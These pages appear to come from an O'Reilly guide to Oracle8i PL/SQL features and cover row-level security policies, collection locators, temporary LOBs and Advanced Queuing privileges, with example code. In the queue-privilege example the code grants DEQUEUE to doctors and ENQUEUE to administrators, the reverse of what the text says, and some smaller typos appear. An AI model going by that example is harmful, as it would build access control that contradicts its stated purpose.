  • If your function returns a NULL predicate, then the predicate is ignored. In other words, no filtering of rows takes place for the current user.

  • In some cases, usually involving object types, Oracle requires an alias for the table name. In these cases, the name of the table or view itself must be used as the name of the alias.

  • The policy function is not checked until runtime. The program you specify in the call to DBMS_RLS.ADD_POLICY does not need to exist or be compilable when the policy is added.

    Here is an example of adding a policy:

BEGIN
   DBMS_RLS.ADD_POLICY (
      'SCOTT',
      'patient',
      'patient_privacy',
      'SCOTT',
      'nhc_pkg.person_predicate',
      'SELECT,UPDATE,DELETE');
END;
/

7.3.5 ENABLE_POLICY: Enabling or Disabling a Policy

You can enable or disable a policy with the DBMS_RLS.ENABLE_POLICY procedure:

DBMS_RLS.ENABLE_POLICY (
   object_schema IN VARCHAR2 := NULL,
   object_name   IN VARCHAR2,
   policy_name   IN VARCHAR2,
   enable        IN BOOLEAN);

The parameters for this procedure are listed in Table 7.8.

Table 7.8: DBMS_RLS.ENABLE_POLICY Parameters

Parameter

Description

object_schema

Schema containing the table or view. The default is the currently connected schema (that returned by USER).

object_name

Name of the table or view for which the policy is enabled or disabled.

policy_name

Name of the policy to be enabled or disabled. It must be unique for the same table or view. If not, you will get this error:

ORA-28101: policy already exists

enable

TRUE to enable the policy, FALSE to disable the policy.

7.3.6 DROP_POLICY: Dropping a Policy

The DBMS_RLS package also provides the interface to drop security policies with the DBMS_RLS.DROP_POLICY procedure:

DBMS_RLS.DROP_POLICY (
   object_schema IN VARCHAR2 := NULL,
   object_name   IN VARCHAR2,
   policy_name   IN VARCHAR2);

Parameters have essentially the same meanings as those shown in Table 7.7.

The following procedure uses the DBMS_RLS package's DROP_POLICY procedure to drop all policies for a specific schema and database object:

/* Filename on companion disk: droppol.sp */
CREATE OR REPLACE PROCEDURE drop_policy (
   objname IN VARCHAR2,
   polname IN VARCHAR2 := '%',
   objschema IN VARCHAR2 := NULL)
   AUTHID CURRENT_USER
IS
BEGIN
   FOR rec IN (
      SELECT object_owner,
             object_name,
             policy_name
        FROM ALL_POLICIES
       WHERE object_owner LIKE NVL (objschema, USER)
         AND object_name LIKE objname
         AND policy_name LIKE polname)
   LOOP
      DBMS_RLS.DROP_POLICY (
         rec.object_owner, rec.object_name, rec.policy_name);
   END LOOP;
END;
/

WARNING: In Oracle8i Release 8.1.5, the behavior of the DBMS_RLS.DROP_POLICY procedure was erratic inside droppol.sp Sometimes it worked, but often it raised an exception along these lines:

ORA-28106: input value for argument #2 is not valid

If you pass hardcoded string literals to DBMS_RLS_DROP_POLICY, the procedure doesn't seem to have any difficulties.

7.3.7 REFRESH_POLICY: Refreshing a Policy

The DBMS_RLS.REFRESH_POLICY procedure causes all the cached SQL statements associated with the policy to be reparsed. This guarantees that the latest change to this policy will have an immediate effect after the procedure is executed. This procedure is needed because parsed SQL statements are cached in the System Global Area to improve performance. The header is as follows:

DBMS_RLS.REFRESH_POLICY (
   object_schema IN VARCHAR2 := NULL,
   object_name   IN VARCHAR2 := NULL,
   policy_name   IN VARCHAR2 := NULL);

Parameters have essentially the same meanings as those shown in Table 7.7.

Every time you change the set of policies associated with a table or view, you should issue a refresh for that object. To ensure that this happens, you might consider building an encapsulation around DBMS_RLS so that a call to your ADD_POLICY procedure would automatically add the policy and then refresh as well. Your encapsulated add would then look like this:

/* Filename on companion disk: my_rls.pkg */
CREATE OR REPLACE PACKAGE BODY my_rls
IS
   ...
   PROCEDURE add_policy (
      object_schema   IN VARCHAR2 := NULL,
      object_name     IN VARCHAR2,
      policy_name     IN VARCHAR2,
      function_schema IN VARCHAR2 := NULL,
      policy_function IN VARCHAR2,
      statement_types IN VARCHAR2 := NULL,
      update_check    IN BOOLEAN  := FALSE,
      enable          IN BOOLEAN  := TRUE);
   IS
   BEGIN
      DBMS_RLS.ADD_POLICY (
         object_schema   ,
         object_name     ,
         policy_name     ,
         function_schema ,
         policy_function ,
         statement_types ,
         update_check    ,
         enable);

      IF enable
      THEN
         DBMS_RLS.REFRESH_POLICY (
            object_schema,
            object_name  ,
            policy_name);
      END IF;
   END;
END;
/

See Chapter 8 to explore in much more detail the features supported by DBMS_RLS.

Previous: 7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.4 UTL_COLL: Using Collection Locators
7.2 DBMS_TRACE: Providing a PL/SQL Trace Facility | Book Index | 7.4 UTL_COLL: Using Collection Locators
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.4 UTL_COLL: Using Collection Locators

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.4 UTL_COLL: Using Collection Locators

The UTL_COLL package lets PL/SQL programs use collection locators to query and update. This package currently has only a single program: the IS_LOCATOR function. It determines whether a collection item is actually a locator. The header for this program is:

UTL_COLL.IS_LOCATOR (collection IN ANY)
   RETURNS BOOLEAN;

where collection is a nested table or variable array. This function returns TRUE if the collection is a locator, FALSE if the collection is not a locator. It asserts the WNDS (writes no database state), WNPS (writes no program state), and RNPS (reads no package state) pragmas; thus, it can be used within SQL.

At the time of table creation, the user may specify that a collection locator is to be returned when a nested table column or attribute is fetched. Use UTL_COLL.IS_LOCATOR in your PL/SQL program to check whether a nested table attribute or variable is locator based. You might want to do this before performing certain collection operations that could cause a large nested table value to be materialized in memory.

The following script demonstrates the use of UTL_COLL.IS_LOCATOR. Its data is based on a true story drawn from the pages of a major Midwestern newspaper. It seems that in a recent election, a candidate pledged firm opposition to an expansion of gambling in the state. After receiving hundreds of thousands of dollars in "contributions" from various gambling forces in that state, however, this candidate (who won the election) changed that position and supported the expansion of gambling venues.

/* Filename on companion disk: utlcoll.sql */
CREATE OR REPLACE TYPE legal_bribe_t as TABLE OF NUMBER;
/

CREATE OR REPLACE TYPE legal_briber_t AS OBJECT (
  source VARCHAR2(100), legal_bribes legal_bribe_t );
/

CREATE TABLE legal_briber OF legal_briber_t
   NESTED TABLE legal_bribes STORE AS nt_bribes;

INSERT INTO legal_briber VALUES (
   'RIVERBOAT CASINO INDUSTRY',
   legal_bribe_t (385584, 632000, 267000)
   );

CREATE TABLE legal_briber1 OF legal_briber_t
   NESTED TABLE legal_bribes STORE AS nt_bribes1
   RETURN LOCATOR;

INSERT INTO legal_briber1 VALUES (
   'RIVERBOAT CASINO INDUSTRY',
   legal_bribe_t (385584, 632000, 267000)
   );

DECLARE
  pocket_liners legal_bribe_t;
  pocket_liners1 legal_bribe_t;
BEGIN
  SELECT legal_bribes INTO pocket_liners
    FROM legal_briber
   WHERE source = 'RIVERBOAT CASINO INDUSTRY';

  SELECT legal_bribes INTO pocket_liners1
    FROM legal_briber1
   WHERE source = 'RIVERBOAT CASINO INDUSTRY';

  /* Boolean "put line" procedure */
  bpl (UTL_COLL.IS_LOCATOR (pocket_liners));

  bpl (UTL_COLL.IS_LOCATOR (pocket_liners1));
END;
/

How would you put this function to use in your code? Here is one example:

/* Filename on companion disk: utlcoll2.sql */
CREATE OR REPLACE FUNCTION getpets_like
   (petlist IN Pettab_t, like_str IN VARCHAR2)
   RETURN pettab_t
IS
   list_to_return Pettab_t := Pettab_t();
   onepet Pet_t;
   counter PLS_INTEGER := 1;
BEGIN
   IF UTL_COLL.IS_LOCATOR (petlist)
   THEN
      FOR theRec IN
         (SELECT VALUE(petList) apet
           FROM TABLE(CAST(petlist AS Pettab_t)) petList
          WHERE petList.name LIKE like_str)
      LOOP
         list_to_return.EXTEND;
         list_to_return(counter) := theRec.apet;
         counter := counter + 1;
      END LOOP;
   ELSE
      FOR i IN 1..petlist.COUNT
      LOOP
         IF petlist(i).name LIKE like_str
         THEN
            list_to_return.EXTEND;
            list_to_return(i) := petlist(i);
         END IF;
      END LOOP;
   END IF;
   RETURN list_to_return;
END;
/

The getpets_like function accepts a list of pets and a filter or "like string." It returns a list of pets whose names match that filter. It uses the UTL_COLL.IS_LOCATOR function to optimize access to the nested table. If you have a locator, then the TABLE CAST operators are used to access the table contents via SQL. Otherwise, a numeric FOR loop is used to access each row individually. For large collections that return a locator, the TABLE CAST approach should be more efficient.

Previous: 7.3 DBMS_RLS: Implementing Fine-Grained Access Control | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.5 LOB Enhancements
7.3 DBMS_RLS: Implementing Fine-Grained Access Control | Book Index | 7.5 LOB Enhancements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.5 LOB Enhancements

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.5 LOB Enhancements

Oracle8i offers several enhancements to the way you work with large objects (LOBs). It adds a new top-level function, TO_LOB, and also allows you to create and manipulate temporary LOBs.

7.5.1 The TO_LOB Function

Oracle offers a new built-in conversion function, TO_LOB, to convert a LONG or LONG RAW datatype to a LOB. You can apply this function only to a LONG or LONG RAW column, and only in the SELECT list of a subquery in an INSERT statement. This function was designed to allow you to migrate your LONG data to LOB columns, in anticipation of Oracle's discontinuing support for LONGs in a future release.

Before using this function, you must create a LOB column to receive the converted LONG values. To convert LONGs, the LOB column must be of type CLOB (character large object) or NCLOB (NLS character large object). To convert LONG RAWs, the LOB column must be of type BLOB (binary large object).

Given the following tables:

CREATE TABLE long_table (n NUMBER, long_col LONG);
CREATE TABLE lob_table (n NUMBER, lob_col CLOB);

use this function to convert LONG to LOB values as follows:

INSERT INTO lob_table
   SELECT n, TO_LOB(long_col) FROM long_table;

7.5.2 DBMS_LOB: Working with Temporary LOBs

Oracle8 provided support for permanently storing large unstructured data by means of LOB datatypes; these are known as persistent LOBs. But many applications have a need for temporary LOBs that act like local variables but do not exist permanently in the database. This section discusses temporary LOBs and the use of the DBMS_LOB built-in package to manipulate these data structures.

Oracle8i supports the creation, freeing, access, and update of temporary LOBs through the Oracle Call Interface (OCI) and DBMS_LOB calls. The default lifetime of a temporary LOB is a session, but such LOBs may be explicitly freed sooner by the application. Temporary LOBs are ideal as transient workspaces for data manipulation, and because no logging is done or redo records generated, they offer better performance than persistent LOBs. In addition, remember that whenever you rewrite or update a LOB, Oracle copies the entire LOB to a new segment. Applications that perform lots of piecewise operations on LOBs should see significant performance improvements with temporary LOBs.

A temporary LOB is empty when it is created -- you don't need to (and, in fact, you will not be able to) use the EMPTY_CLOB and EMPTY_BLOB functions to initialize LOB locators for a temporary LOB. By default, all temporary LOBs are deleted at the end of the session in which they were created. If a process dies unexpectedly or if the database crashes, then temporary LOBs are deleted, and the space for temporary LOBs is freed.

Let's take a look at the DBMS_LOB programs provided to work with temporary LOBs, follow that with an example, and finish up by covering some of the administrative details.[1]

[1] For information about the DBMS_LOB package, see Oracle Built-in Packages; the next edition of that book will describe temporary LOBs.

7.5.2.1 CREATETEMPORARY: Creating a temporary LOB

Before you can work with a temporary LOB, you need to create it with a call to the CREATETEMPORARY procedure. This program creates a temporary BLOB or CLOB and its corresponding index in your default temporary tablespace. The header is:

DBMS_LOB.CREATETEMPORARY (
   lob_loc IN OUT NOCOPY [ BLOB | CLOB CHARACTER SET ANY_CS ],
   cache   IN BOOLEAN,
   dur     IN PLS_INTEGER := DBMS_LOB.SESSION);

The parameters are listed in Table 7.9.

Table 7.9: CREATETEMPORARY Parameters

Parameter

Description

lob_loc

Receives the locator to the LOB.

cache

Specifies whether the LOB should be read into the buffer cache.

dur

Controls the duration of the LOB. The dur argument can be one of the following two named constants:

DBMS_LOB.SESSION

Specifies that the temporary LOB created should be cleaned up (memory freed) at the end of the session. This is the default.

DBMS_LOB.CALL

Specifies that the temporary LOB created should be cleaned up (memory freed) at the end of the current program call in which the LOB was created.

7.5.2.2 FREETEMPORARY: Freeing the temporary LOB

The FREETEMPORARY procedure frees the temporary BLOB or CLOB in your default temporary tablespace. The header for this procedure is:

PROCEDURE DBMS_LOB.FREETEMPORARY (
   lob_loc IN OUT NOCOPY
      [ BLOB | CLOB CHARACTER SET ANY_CS ]);

After the call to FREETEMPORARY, the LOB locator that was freed (lob_loc) is marked as invalid. If an invalid LOB locator is assigned to another LOB locator through an assignment operation in PL/SQL, then the target of the assignment is also freed and marked as invalid.

7.5.2.3 ISTEMPORARY: Is it a temporary LOB?

The ISTEMPORARY function tells you if the LOB locator (lob_loc) points to a temporary or persistent LOB. The function returns an integer value: 1 means that it is a temporary LOB, 0 means that it is not (it's a persistent LOB instead):

DBMS_LOB.ISTEMPORARY (
   lob_loc IN [ BLOB | CLOB CHARACTER SET ANY_CS ])
  RETURN INTEGER;

This function is designed to be called from within SQL; that, presumably, is the reason that Oracle did not define ISTEMPORARY to be a Boolean function.

7.5.2.4 Example

Let's combine a number of these temporary LOB operations into a single example, found in the cretemplob.sql file on the disk. First, I create a directory; this is needed in order to reference a BFILE -- a file locator pointing to an operating system file outside the database:

/* Filename on companion disk: cretemplob.sql */
CREATE DIRECTORY trainings AS 'E:\Oracle8i-Training';

Next, I declare my local data structures: a named constant to hide the integer value used to represent "TRUE" by the ISTEMPORARY function, a BLOB to hold the locator to my temporary LOB, a BFILE that points to one of my PowerPoint presentations, and the number of bytes of that presentation that I want to load to my temporary LOB:

DECLARE
   /* Hide the 1/0 values for ISTEMPORARY. */
   c_truetemp CONSTANT INTEGER := 1;

   tempBLOB BLOB;

   my_presentation BFILE :=
      /* Note: Must pass the directory in uppercase. */
      BFILENAME ('TRAININGS', 'collections.ppt');

   lobLength INTEGER := 150000;
BEGIN

Next, I create my temporary LOB and specify this call or block as the duration of the LOB. By taking this action, I avoid the need for an explicit call to DBMS_LOB. FREETEMPORARY to free the memory associated with the LOB:

   DBMS_LOB.CREATETEMPORARY (
      tempBLOB, TRUE, DBMS_LOB.CALL);

Now let's see if this new LOB really is a temporary one:

      IF DBMS_LOB.ISTEMPORARY (tempBLOB) = c_truetemp
   THEN
      DBMS_OUTPUT.PUT_LINE (
         'It won''t be around for long...');
   END IF;

On to the real work of the example: transfer a BFILE's contents to a temporary LOB. I will open the BFILE and then use the very convenient LOADFROMFILE procedure to do the transfer:

   DBMS_LOB.OPEN (
      my_presentation, DBMS_LOB.LOB_READONLY);

   DBMS_LOB.LOADFROMFILE (
      tempBLOB, my_presentation, lobLength);

Notice that I open the BFILE but not the temporary LOB. That's because the OPEN step is optional for the temporary LOB. Now that I have transferred the contents, I will find out the length of the temporary LOB to confirm the transfer, and then close the BFILE:

   lobLength := DBMS_LOB.GETLENGTH (tempBLOB);
   IF lobLength = 0
   THEN
       DBMS_OUTPUT.PUT_LINE ('LOB is empty.');
   ELSE
       DBMS_OUTPUT.PUT_LINE (
          'The length is ' || lobLength);
   END IF;

   DBMS_LOB.CLOSE(my_presentation);
END;
/

7.5.2.5 Managing temporary LOBs

Temporary LOBs are handled quite differently from normal, persistent, internal LOBs. With temporary LOBs, there is no support for transaction management, consistent read operations, rollbacks, and so forth. There are various consequences to this lack of support:

  • If you encounter an error when processing with a temporary LOB, you must free that LOB and start your processing over again.

  • You should not assign multiple LOB locators to the same temporary LOB. Lack of support for consistent read and undo operations can cause performance degradation with multiple locators.

  • If a user modifies a temporary LOB while another locator is pointing to it, a copy (referred to by Oracle as a deep copy) of that LOB is made. The different locators will then no longer see the same data. To minimize these deep copies, use the NOCOPY compiler hint whenever passing LOB locators as arguments.

  • To make a temporary LOB permanent, you must call the DBMS_LOB.COPY program and copy the temporary LOB into a permanent one.

  • Temporary LOB locators are unique to a session. You cannot pass a locator from one session to another (through a database pipe, for example), and make the associated temporary LOB visible in that other session.

Oracle offers a new V$ view called V$TEMPORARY_LOBS that shows how many cached and uncached LOBs exist per session. Your DBA can combine information from V$TEMPORARY_LOBS and the DBA_SEGMENTS data dictionary view to see how much space a session is using for temporary LOBs.

Previous: 7.4 UTL_COLL: Using Collection Locators | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 7.6 New DBMS_AQ and DBMS_AQADM Features
7.4 UTL_COLL: Using Collection Locators | Book Index | 7.6 New DBMS_AQ and DBMS_AQADM Features
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.6 New DBMS_AQ and DBMS_AQADM Features

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

7.6 New DBMS_AQ and DBMS_AQADM Features

DBMS_AQ provides an API to the enqueue and dequeue operations in the Oracle Advanced Queuing (AQ) facility. Oracle8i enhances AQ in a number of ways, many reflected in changes in the DBMS_AQ and DBMS_AQADM packages.

TIP: A working knowledge of the Oracle Advanced Queuing facility and the DBMS_AQ and DBMS_AQADM packages is assumed for this section. If you need to learn more, you might want to check out Chapter 5 of Oracle Built-in Packages.

7.6.1 CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration

Oracle has changed the security model for Oracle AQ in Oracle8i. You can now set security at the system and queue level (discussed in the next section). These features are only available, however, for AQ 8.1-style queues.

To create queues in Oracle 8.1 that can make use of the new security features, you must set the compatible parameter in DBMS_AQADM.CREATE_QUEUE_TABLE to `8.1' or above. Here is the new, expanded header:

PROCEDURE DBMS_AQADM.CREATE_QUEUE_TABLE (
   queue_table        IN VARCHAR2,
   queue_payload_type IN VARCHAR2,
   storage_clause     IN VARCHAR2       DEFAULT NULL,
   sort_list          IN VARCHAR2       DEFAULT NULL,
   multiple_consumers IN BOOLEAN        DEFAULT FALSE,
   message_grouping   IN BINARY_INTEGER DEFAULT NONE,
   comment            IN VARCHAR2       DEFAULT NULL,
   auto_commit        IN BOOLEAN        DEFAULT TRUE,
   primary_instance   IN BINARY_INTEGER DEFAULT 0,
   secondary_instance IN BINARY_INTEGER DEFAULT 0,
   compatible         IN VARCHAR2       DEFAULT NULL);

The first eight parameters are the same as in Oracle 8.0. The final three parameters have the meanings shown here:

primary_instance

The primary owner of the queue table. This instance performs the queue monitor scheduling and propagation for the queues in the queue table. The default is 0, which means scheduling and propagation will be performed in any available instance.

secondary_instance

The queue table fails over to this instance if the primary instance is not available.

compatible

The lowest database version with which the queue table is compatible: currently `8.0' or `8.1'. The default is `8.0'.

If you want to define a queue table with 8.1 compatibility, you will need to make a call like this:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE (
      'workflow',
       'workflow_ot',
      compatible => '8.1');
END;

I have used named notation to skip over all the intervening parameters (thereby accepting their default values) and set the compatibility level.

If you want to use the AQ 8.1 security features on a queue that was defined originally in an 8.0 database, you must convert the queue table to 8.1 compatibility by executing DBMS_AQADM.MIGRATE_QUEUE_TABLE on the queue table. Here is the header for this procedure:

PROCEDURE DBMS_AQADM.MIGRATE_QUEUE_TABLE(
   queue_table IN VARCHAR2,
   compatible  IN VARCHAR2)

where queue_table is the name of the queue table to be migrated, and compatible indicates the direction of the migration, as shown in the following table.

Compatible Value | Meaning
`8.0' | Downgrade an 8.1 queue table to be 8.0 compatible.
`8.1' | Upgrade an 8.0 queue table to be 8.1 compatible.

7.6.2 System-Level Access Control

Back in Oracle 8.0, administrators granted access to AQ operations by assigning roles that provided execution privileges on the AQ procedures. There was no security at the database object level, which meant that in Oracle 8.0 a user with the AQ_USER_ROLE could enqueue and dequeue to any queue in the system. This is obviously inadequate, and in Oracle8i, AQ offers a much more granular approach to security. An owner of an 8.1-compatible queue can now grant or revoke queue-level privileges on the queue (described in the " section). DBAs can grant or revoke new AQ system-level privileges to any database user. DBAs can also make any database user an AQ administrator.

The grant and revoke operations for AQ are not performed through the GRANT and REVOKE DDL statements. Instead, the DBMS_AQADM package provides a set of procedures. Some of these procedures were present in Oracle 8.0, but with limited capabilities.

7.6.2.1 GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges

To set a system-level privilege, call the following procedure:

PROCEDURE DBMS_AQADM.GRANT_SYSTEM_PRIVILEGE (
   privilege    IN VARCHAR2,
   grantee      IN VARCHAR2,
   admin_option IN BOOLEAN := FALSE);

where privilege is the AQ system privilege to grant, grantee is the user or role (including PUBLIC) to which the privilege is granted, and admin_option controls whether the grantee is allowed to use this procedure to grant the system privilege to other users or roles. The options for privilege are shown here:

ENQUEUE_ANY

Users granted this privilege are allowed to enqueue messages to any queues in the database.

DEQUEUE_ANY

Users granted this privilege are allowed to dequeue messages from any queues in the database.

MANAGE_ANY

Users granted this privilege are allowed to run DBMS_AQADM calls on any schemas in the database.

TIP: Immediately after database installation, only SYS and SYSTEM have the privileges to run this program successfully. If you do not want to manage AQ from either of these schemas, you will want to grant MANAGE_ANY with the admin_option parameter set to TRUE to another schema (such as AQADMIN) and then work from there for future AQ administrative activities.

7.6.2.2 REVOKE_SYSTEM_PRIVILEGE: Revoking system-level privileges

You can revoke system privileges with the following procedure:

PROCEDURE DBMS_AQADM.REVOKE_SYSTEM_PRIVILEGE (
   privilege IN VARCHAR2,
   grantee   IN VARCHAR2);

where the parameters have the same meanings as for the GRANT_SYSTEM_PRIVILEGE procedure.

7.6.2.3 Example

Let's take a look at the steps a DBA will commonly take to set up a schema as an AQ administrator. First, create the user (I'll call it "WFADM" for "workflow administration") and grant the roles needed to function in the database and work as an AQ administrator:

CREATE USER WFADM IDENTIFIED BY WFADM;
GRANT CONNECT, RESOURCE, aq_administrator_role TO WFADM;

Next, make sure that this schema can execute both of the AQ packages:

GRANT EXECUTE ON dbms_aq TO WFADM;
GRANT EXECUTE ON dbms_aqadm TO WFADM;

Finally, give this schema the ability to work with any queues in the database:

BEGIN
    DBMS_AQADM.GRANT_SYSTEM_PRIVILEGE (
       'ENQUEUE_ANY', 'WFADM', FALSE);
    DBMS_AQADM.GRANT_SYSTEM_PRIVILEGE (
       'DEQUEUE_ANY', 'WFADM', FALSE);
END;
/

7.6.3 Queue-Level Access Control

This section describes how you can grant and revoke privileges at the queue level.

7.6.3.1 GRANT_QUEUE_PRIVILEGE: Granting queue-level privileges

To set a queue-level privilege, call the following procedure:

PROCEDURE DBMS_AQADM.GRANT_QUEUE_PRIVILEGE (
   privilege    IN VARCHAR2,
   queue_name   IN VARCHAR2,
   grantee      IN VARCHAR2,
   admin_option IN BOOLEAN := FALSE);

where privilege is the AQ system privilege to grant, queue_name is the name of the queue on which the grant is to be made, grantee is the user or role (including PUBLIC) to which the privilege is granted, and admin_option controls whether the grantee is allowed to use this procedure to grant the privilege to other users or roles.

The options for privilege are shown here:

ENQUEUE

Users granted this privilege are allowed to enqueue messages to this queue.

DEQUEUE

Users granted this privilege are allowed to dequeue messages from this queue.

ALL

Both ENQUEUE and DEQUEUE

7.6.3.2 REVOKE_QUEUE_PRIVILEGE: Revoking queue-level privileges

You can revoke queue privileges with the following procedure:

PROCEDURE DBMS_AQADM.REVOKE_QUEUE_PRIVILEGE (
   privilege  IN VARCHAR2,
   queue_name IN VARCHAR2,
   grantee    IN VARCHAR2);

where the parameters have the same meaning as for the GRANT_QUEUE_PRIVILEGE procedure.

7.6.3.3 Example

Queue-level grants are crucial when you want to set up individual schemas to be able to only enqueue or only dequeue for specific queues. Suppose, for example, that I am constructing a system to support universal health care in the United States. I want doctors to be able to enqueue a record of services performed, but I don't want them to be able to dequeue that information. I want my administrators to be able to dequeue that information, but not to enqueue it. I might execute a block like this:

BEGIN
   DBMS_AQADM.GRANT_QUEUE_PRIVILEGE (
      'DEQUEUE', 'FEELGOOD_service_record_q', 'Doctor_Role', FALSE);

   DBMS_AQADM.GRANT_QUEUE_PRIVILEGE(
      'ENQUEUE', 'FEELGOOD_service_record_q', 'Admin_Role', FALSE);
END;
/

7.6.4 Improved Publish/Subscribe Support

Oracle AQ adds various features in Oracle 8.1 that allow you to develop an application based on a publish/subscribe model. This model allows different components of the application to communicate with each other in a very flexible way, based on an important principle: publisher application components interact with subscriber application components only through messages and message content.

This means that publisher applications don't have to know about, or ever have to manage, recipient information. They "publish" their messages by putting information in queues. They don't worry about who is going to receive it, when, and how. The subscriber applications receive messages through the dequeue operation, based solely on the content of those messages. The identity of the publisher does not play a role in determining the enqueue operation, and the identities and number of subscriber applications can be modified without affecting the messages.

This basic approach was available in Oracle 8.0, when the AQ facility was first introduced. Oracle8i significantly improves the ability to implement a publish/subscribe model with the following features:

  • Rule-based subscribers

  • The LISTEN procedure

  • Notification capabilities, available currently only through OCI (the Oracle Call Interface) and not through PL/SQL

The following sections focus on the new PL/SQL features -- rule-based subscribers and the new LISTEN procedure.

7.6.4.1 Rule-based subscribers

Oracle AQ has always let you define subscriber lists and add subscribers with the DBMS_AQADM.ADD_SUBSCRIBER procedure. The 8.1 implementation adds another parameter to this procedure, allowing you to associate a rule with a subscriber. Here is the new procedure header:

PROCEDURE DBMS_AQADM.ADD_SUBSCRIBER (
   queue_name  IN  VARCHAR2,
   subscriber  IN  sys.aq$_agent,
   rule        IN  VARCHAR2 DEFAULT NULL);

where queue_name is the name of the queue in which the subscriber is interested, subscriber is an object instance of type SYS.AQ$_AGENT that identifies the agent to be added to the subscription list, and rule is a string that contains a conditional expression.

The rule must be a string that is evaluated dynamically to a Boolean value: TRUE, FALSE, or NULL. The string may contain references to message properties (fields in the DBMS_AQ.MESSAGE_PROPERTIES_T record type), to attributes of the queue's payload (object payloads only, not RAW) and to PL/SQL functions (either built-in or your own).

Let's go over some rules and then look at some examples. The rule must conform to the following guidelines:

  • The only message properties currently supported are PRIORITY and CORRID (correlation identifier).

  • If you wish to reference attributes of the object payload in a queue, you must prefix each attribute with a qualifier of TAB.USER_DATA (a hardcoded string).

  • The maximum length of the rule parameter is 4000 characters.

  • Any PL/SQL functions you reference in the rule must be callable from within the WHERE clause of a SQL statement.

  • If you need to surround a literal with single quotes inside the rule, then you must use two single quotes in sequence.

The following examples should clarify these rules and their application:

  1. Add a subscriber to the War Criminals Prosecution queue who is interested only in dequeuing messages of top priority:

DECLARE
   most_urgent SYS.AQ$_AGENT :=
      SYS.AQ$_AGENT ('ChiefProsecutor', 'Cases_queue');
BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER (
      'Cases_queue', most_urgent, 'PRIORITY = 1');
END;

  2. The War Crimes Tribunal has just hired a junior prosecutor to handle cases involving atrocities in Latin America. The following block of code ensures that this agent will only handle low-priority cases from that region. Notice the use of multiple single quotes to ensure that the literal for region name is passed through properly:

DECLARE
   back_burner SYS.AQ$_AGENT :=
      SYS.AQ$_AGENT ('JuniorProsecutor', 'Cases_queue');
BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER (
      'Cases_queue', back_burner,
      'PRIORITY > 3 AND CORRID = ''LATIN AMERICA''');
END;_

  3. Big changes in the year 2015! Even as the fast food chains come to dominate the delivery of food to the world's population, the percentage of humans living in hunger increases. A worldwide protest movement rises up -- and the three biggest chains are purchased by the United Nations. Now all that technology and food delivery capability will be used directly to make sure that no one in the world starves. But wait -- we need to set up subscribers to receive orders for food in their specific regions. So I set up an object type to be used as the queue payload:

CREATE TYPE food_order_t AS OBJECT (
   country VARCHAR2(100),
   region VARCHAR2(100),
   child_population NUMBER,
   adult_population NUMBER
   );

I can now define a subscriber in the North American Midwest who is responsible for the distribution of food within an area that has a child population of more than 10,000:

DECLARE
   lotsa_kids SYS.AQ$_AGENT  :=
      SYS.AQ$_AGENT ('FoodManager', 'Food_distribution_queue');
BEGIN
   DBMS_AQADM.ADD_SUBSCRIBER (
      'Food_distribution_queue',
      lotsa_kids,
      'TAB.USER_DATA.country = ''USER'' AND
       TAB.USER_DATA.region = ''MIDWEST'' AND
       TAB.USER_DATA.child_population > 10000');
END;_

7.6.4.2 LISTEN: Listening for messages

Oracle8i adds a procedure to DBMS_AQ that you can use to listen for the enqueuing of a message to which one or more agents have subscribed. The header for this program is as follows:

PROCEDURE DBMS_AQ.LISTEN (
   agent_list IN  AQ$_AGENT_LIST_T,
   wait       IN  BINARY_INTEGER DEFAULT DBMS_AQ.FOREVER,
   agent      OUT SYS.AQ$_AGENT);

where agent_list is an index-by table defined in DBMS_AQ as follows:

TYPE DBMS_AQ.AQ$_AGENT_LIST_T IS TABLE of AQ$_AGENT
    INDEXED BY BINARY_INTEGER;

wait is the number of seconds the LISTEN procedure will wait or block as it waits for a message (the default is forever), and agent is the value returned by the procedure: an object.

The DBMS_AQ.LISTEN procedure is very similar to DBMS_ALERT.WAITANY. You can call the procedure to monitor one or more queues, which are identified by the address field of the agent object (only local queues are supported as addresses). When you call DBMS_AQ.LISTEN, your session will be blocked until a message is available in one of the queues, or until the wait time expires.

If a message is available for consumption on one of the queues indicated by the agents in agent_list, then that address will be returned in the agent OUT parameter. A successful completion of this call to DBMS_AQ.LISTEN does not, however, dequeue the message. Once you retrieve the agent, you must obtain the queue name and then issue an explicit DBMS_AQ.DEQUEUE call against that queue to get the payload.

If there are no messages found when the wait time expires in a call to DBMS_AQ.LISTEN, then the following error is raised:

ORA-25254: time-out in LISTEN while waiting for a message

